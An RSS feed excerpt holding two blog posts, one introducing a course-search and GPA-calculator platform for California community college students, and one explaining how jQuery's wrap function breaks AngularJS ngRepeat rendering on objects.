            <atom:updated>2026-04-30T15:18:08.539Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5E8Dc0zIuXFTJTTDG17jOQ.png" /></figure><p>I still remember how difficult it was when I tried to search for the courses that were transferable to university. I had to go to different websites, talked to school counsellors, and planned my courses well to achieve the required GPA. If there were a platform that could gather all these tasks and information at one place, that would help my first-year course search journey a lot. So here is the platform I have been building with my friend Brian who initiated this idea — A centralized platform provides online course information of California community colleges, and GPA calculators to track course progress in transferring to university.</p><h3>Course Search</h3><p>It is unnecessary to take courses in only one college in order to get enough credits &amp; grade to get into the universities. (I took courses in three colleges in the same term before). Sometimes a course is not available in a college, but it has many schedules in another; sometimes the schedule doesn’t fit; sometimes friends say that the course in another college is easier. There are many reasons to take courses in multiple colleges, so we provide the course details of the most popular colleges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AaldCpXnYNbGGcnP-491lw.png" /><figcaption>Fall 2018 Courses of Santa Monica College</figcaption></figure><p>There is a lot of useful information gathered here: Course Name, CRN, Credit, Schedule, etc. We are also adding more course details such as current capacity status and course rating retrieved from <a href="http://www.ratemyprofessors.com/">Rate My Professors</a>, a popular site that has reviews of teachers, schools, and courses.</p><p>Currently in our database we have information of 65k+ courses for Summer and Fall 2018. It’s impossible to find the specific course in this large pool. Thus, we need filters for narrowing the scope. We provide a lot of useful filters such as<em> system</em>, <em>subject, </em>and<em> school</em>, and even also <em>start date </em>and <em>start time. </em>For example, I want to find a <strong>Computer Science </strong>course from <strong>Santa Monica College</strong> that teaches <strong>Java </strong>and<strong> </strong>has classes on <strong>Tuesday </strong>in <strong>Fall 2018</strong>. Here is the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WSCSc2K-HOl9s7Zl30r-1g.png" /><figcaption>Example of Searching for a Specific Course</figcaption></figure><h3>GPA Calculator</h3><p>Another focus of the platform is the GPA Calculator. A lot of students, including me in the past, do not know how the GPA calculation works. The planning of achieving the GPA is tedious and difficult, and we need a place to record it. Don’t worry. We also provide it here. We have three types of calculator — GPA, Final Grade, and GPA Raise. Students can save their work on these calculators and come back later to continue as they progress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*4IPsnriQSMnNQOgg2_qMTQ.png" /><figcaption>GPA Calculator</figcaption></figure><p>GPA Calculator measures your average based on the number of credits and grade. The selection of university or community college allows the change of grade selection, because a lot of community colleges do not have plus or minus grade. Of course simply choosing university and not picking those grades still work the same too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*f_TnZRrGpHPQpkLB6r-_Cg.png" /><figcaption>Final Grade Calculator</figcaption></figure><p>Final Grade Calculator provides the final grade needed according to the final weight and current score. It is useful to have a sense that how much a student needs to achieve in the final, to help balance out the effort spent on different courses. For the example above, a student can focus more on MATH 102 instead in the final, as it needs at least 65% to pass, while CHEM 120 only needs 26.7%.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*RaQ7A1guEA6LpKzSWHId2Q.png" /><figcaption>GPA Raise Calculator</figcaption></figure><p>GPA Raise Calculator determines the score or number of credits needed in order to achieve a specific GPA. The two examples show the usage of this projection tool.</p><h3>Forum</h3><p>There can be some specific school or course related questions that is hard to get the answer. Setting up with counsellors in multiple colleges can take a lot of time. Here we provide a forum that allows creating topics and comments. Students can asking questions like school registration process and the course difficulty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YLE_hJgzw-cUgEaqWA4GAg.png" /><figcaption>College-based Forum</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*TkBAFaAUmsRFxs40woprmQ.png" /><figcaption>Topics of Santa Monica College</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*9-DegPLtBudtRrldVvAJiw.png" /><figcaption>Discussion of a Topic</figcaption></figure><p>The whole platform is built in Laravel and VueJS with Material Design.</p><p>This is still an on-going project — still have many ideas to be implemented. Give us some comments on how to improve this platform! Please give us any comments on how to improve this to help students better!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42a400e6e4fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Issue of AngularJS with jQuery — ngRepeat on Object with Wrap Function]]></title>
            <link>https://medium.com/@kelvinausoftware/issue-of-angularjs-with-jquery-ngrepeat-on-object-with-wrap-function-926551256372?source=rss-e6bda3a4a02------2</link>
            <guid isPermaLink="false">https://medium.com/p/926551256372</guid>
            <category><![CDATA[angularjs]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[jquery]]></category>
            <category><![CDATA[ng-repeat]]></category>
            <category><![CDATA[analysis]]></category>
            <dc:creator><![CDATA[Kelvin Au]]></dc:creator>
            <pubDate>Wed, 06 Jun 2018 06:45:57 GMT</pubDate>
            <atom:updated>2018-06-21T05:24:43.240Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*wcXJEKo9Q9baZIMofnLnbw.png" /></figure><p>Recently I experienced a weird behavior of an old AngularJS directive which simply added a wrapper DOM using jQuery <a href="https://api.jquery.com/wrap/">wrap</a> function together with ngRepeat. Of course there are many better ways to provide the same functionality without use of jQuery, but this is not the focus of this blog. I want to show the reason behind why jQuery is not recommended to be used with AngularJS for DOM manipulation. The demo is set up on JSFiddle <a href="https://jsfiddle.net/kelvinau/xow6qrck/">here</a>. The directive just calls <em>elem.wrap(‘&lt;div class=”wrapper”&gt;&lt;/div&gt;’)</em> to wrap the DOM, which will make the text black; otherwise it will be in red. Then an element using this directive is rendered with ngRepeat on an object to show two texts. A button “Reset allTexts” is used to clone this object and reassign itself. Sounds easy enough and there shouldn’t be any changes after resetting the object? Try it. As you can see, the DOM structure is changed and the texts are now not inside the wrapper DOMs. What happened?</p><p>To find the reason, I tried to reduce the scope by rewriting it using transclude and replace instead of jQuery. Clearly it worked well without changing the DOM tree, so it’s not an issue of my logic. Then I tried to replace the object with an array (the commented part at the top). It didn’t change the tree. It seemed like something wrong with using object for ngRepeat, so I dived into AngularJS source code to find the actual cause.</p><p>The version was 1.6.10 and the source code is <a href="https://github.com/angular/angular.js/blob/v1.6.10/src/ng/directive/ngRepeat.js">here</a> on GitHub. When ngRepeat is used, a block which consists of object information (scope, element, id) is created for each single item.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*VfbN7P9RlV-n_DfO_6vwNQ.png" /><figcaption>Block Object Information</figcaption></figure><p>The clone stores the element itself and the end ngRepeat comment (&lt;!– end ngRepeat: (key, textObj) in allTexts –&gt;). After all the rendering, this block information is stored in <em>lastBlockMap</em>, which will be reused for future for object input if the same instance is detected again. I guess this is for optimizing the performance in not creating the block information every time. The object input is then being watched using <em>$watchCollection</em> and re-render every time when the input is changed. However, it is a shallow watch which only detects the changes of reference.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*1kvVkhEthZrK71NRs4jGdg.png" /><figcaption>Block Reuse and Root Cause</figcaption></figure><p>After clicking the “Reset allTexts” button, the reference is changed and triggers the function in the watch. It retrieves previously defined block objects with the same key and reuses it in line 618. Then it comes to the root cause of the issue. In line 629, it checks if the start of the block, which is the first element from the clone in object information, equals to <em>nextNode</em>, which is supposed to be the node right after the beginning comment(&lt;!– ngRepeat: (key, textObj) in allTexts –&gt;). However, when the element is wrapped with jQuery, <strong><em>nextNode </em>becomes the DOM div element with the wrapper class</strong>. It thinks that the existing item is moved, so it tries to move it back to the original position in line 631. Under the hood, <em>$animate.move</em> uses jQuery <a href="http://api.jquery.com/after/">after</a> function to moves the element. It calls the after function in line 326 in <a href="https://github.com/angular/angular.js/blob/v1.6.10/src/ng/animate.js#L326">animate.js</a>. The element that is placed after is the beginning comment.</p><p>According to jQuery documentation,</p><blockquote><em>[i]f an element selected this way is inserted into a single location elsewhere in the DOM, it will be moved rather than cloned.</em></blockquote><p>Thus, <strong>the span element is moved away from the wrapper div to after the beginning comment</strong>, which causes the change in tree structure and so the color. Why does an array work in this case then? Because for array it removes the scope of each block every time when the array is new, so it will not pass through the check of block.scope.</p><p>Using jQuery to manipulate DOM structure should be avoided as much as possible when using AngularJS, same for other popular front-end frameworks. Out of curiosity, I also make an almost identical case for VueJS to see if similar issue happens (written in the same JSFiddle demo). It also uses a directive to wrap the element, but it does not trigger the rendering when the input is changed. Why? This can be the next investigation.</p><p><em>Originally published at </em><a href="https://kelvinau.net/2018/06/05/issue-of-angularjs-with-jquery-ngrepeat-on-object-with-wrap-function/"><em>kelvinau.net</em></a><em> on June 6, 2018.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=926551256372" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>